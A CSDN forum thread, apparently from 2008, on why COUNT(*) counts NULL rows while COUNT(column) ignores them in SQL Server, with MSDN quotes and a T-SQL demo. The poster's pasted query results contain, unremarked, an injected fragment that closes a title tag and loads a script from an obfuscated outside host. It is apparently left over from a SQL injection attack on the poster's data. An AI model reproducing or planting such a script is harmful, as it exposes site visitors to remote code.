为什么对于字段值为null的统计数据:count(*)可以显示正确记录8万多条,而count(fieldname)却显示为0条呢?

DiligencyMan 2008-11-17 02:23:31
有如下2个sql语句:

select shop_work_time,count(*) hasnotfieldname_num from sq_info_detail group by shop_work_time

select shop_work_time,count(shop_work_time) hasfieldname_num from sq_info_detail group by shop_work_time
--执行之后结果如下:
shop_work_time hasnotfieldnameNULL 89769
3
"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><! 144

shop_work_time hasnotfieldname
NULL 0
3
"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><! 144



为什么对于字段值为null的统计数据:count(*)可以显示正确记录8万多条,而count(fieldname)却显示为0条呢?
在线等待达人解答,谢谢!
...全文
381 16 打赏 收藏 转发到动态 举报
写回复
用AI写文章
16 条回复
切换为时间正序
请发表友善的回复…
发表回复
DiligencyMan 2008-11-18
  • 打赏
  • 举报
回复
谢谢大家!
lansz 2008-11-17
  • 打赏
  • 举报
回复
汗一个

最基本的问题,打开online books就能看得到的
不知道大家为什么不查SQL Server的online books
可怜的微软

看来高手如云的CSDN真是个提问的好地方
liangf215 2008-11-17
  • 打赏
  • 举报
回复
学习,果真很多高手
claro 2008-11-17
  • 打赏
  • 举报
回复
[Quote=引用 7 楼 oraclelogan 的回复:]
引用 2 楼 hyde100 的回复:
SQL codeMSDN解释:
--返回包括NULL值
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates.

--返回不包括NULL值
COUNT(ALL expression) evaluates expression for each row in a group and returns the number of nonnull values.

这个解释的比较权威!

[/Quote]
这个解释的比较权威!权威!
fcuandy 2008-11-17
  • 打赏
  • 举报
回复
declare @t table(id int)
insert @t select 1
union all select 1
union all select 3
union all select null
union all select 1

select id,count(id) count_col,
count(*) count_X,
count(distinct id) count_distinct,
count(1) count_const
from @t group by id

/*
id count_col count_X count_distinct count_const
----------- ----------- ----------- -------------- -----------
NULL 0 1 0 1
1 3 3 1 3
3 1 1 1 1
*/
青锋-SS 2008-11-17
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 happyflystone 的回复:]
COUNT(*) 返回组中项目的数量,这些项目包括 NULL 值和副本。

COUNT(ALL expression) 对组中的每一行都计算 expression 并返回非空值的数量。

COUNT(DISTINCT expression) 对组中的每一行都计算 expression 并返回唯一非空值的数量。

[/Quote]复制的越来越多了
fcuandy 2008-11-17
  • 打赏
  • 举报
回复
count聚合忽略null
-狙击手- 2008-11-17
  • 打赏
  • 举报
回复
COUNT(*) 返回组中项目的数量,这些项目包括 NULL 值和副本。

COUNT(ALL expression) 对组中的每一行都计算 expression 并返回非空值的数量。

COUNT(DISTINCT expression) 对组中的每一行都计算 expression 并返回唯一非空值的数量。
oraclelogan 2008-11-17
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 sdhylj 的回复:]
COUNT(*) 返回组中的项数。包括 NULL 值和重复项。

COUNT(ALL expression) 对组中的每一行都计算 expression 并返回非空值的数量。
[/Quote]

正解,看来这里面的sqlserver达人还是不少的啊!
oraclelogan 2008-11-17
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 hyde100 的回复:]
SQL codeMSDN解释:
--返回包括NULL值
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates.

--返回不包括NULL值
COUNT(ALL expression) evaluates expression for each row in a group and returns the number of nonnull values.
[/Quote]

这个解释的比较权威!
Lucifer-He 2008-11-17
  • 打赏
  • 举报
回复
支持下,好东西学些了。
水族杰纶 2008-11-17
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 hyde100 的回复:]
SQL codeMSDN解释:
--返回包括NULL值
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates.

--返回不包括NULL值
COUNT(ALL expression) evaluates expression for each row in a group and returns the number of nonnull values.
[/Quote]
權威~~
青锋-SS 2008-11-17
  • 打赏
  • 举报
回复
COUNT(*) 返回组中的项数。包括 NULL 值和重复项。

COUNT(ALL expression) 对组中的每一行都计算 expression 并返回非空值的数量。
dobear_0922 2008-11-17
  • 打赏
  • 举报
回复
count(shop_work_time)
忽略了shop_work_time为null的行。
hyde100 2008-11-17
  • 打赏
  • 举报
回复
MSDN解释:
--返回包括NULL值
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates.

--返回不包括NULL值
COUNT(ALL expression) evaluates expression for each row in a group and returns the number of nonnull values.
青锋-SS 2008-11-17
  • 打赏
  • 举报
回复
警告: 聚合或其他 SET 操作消除了空值。

(1 行受影响)

22,209

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧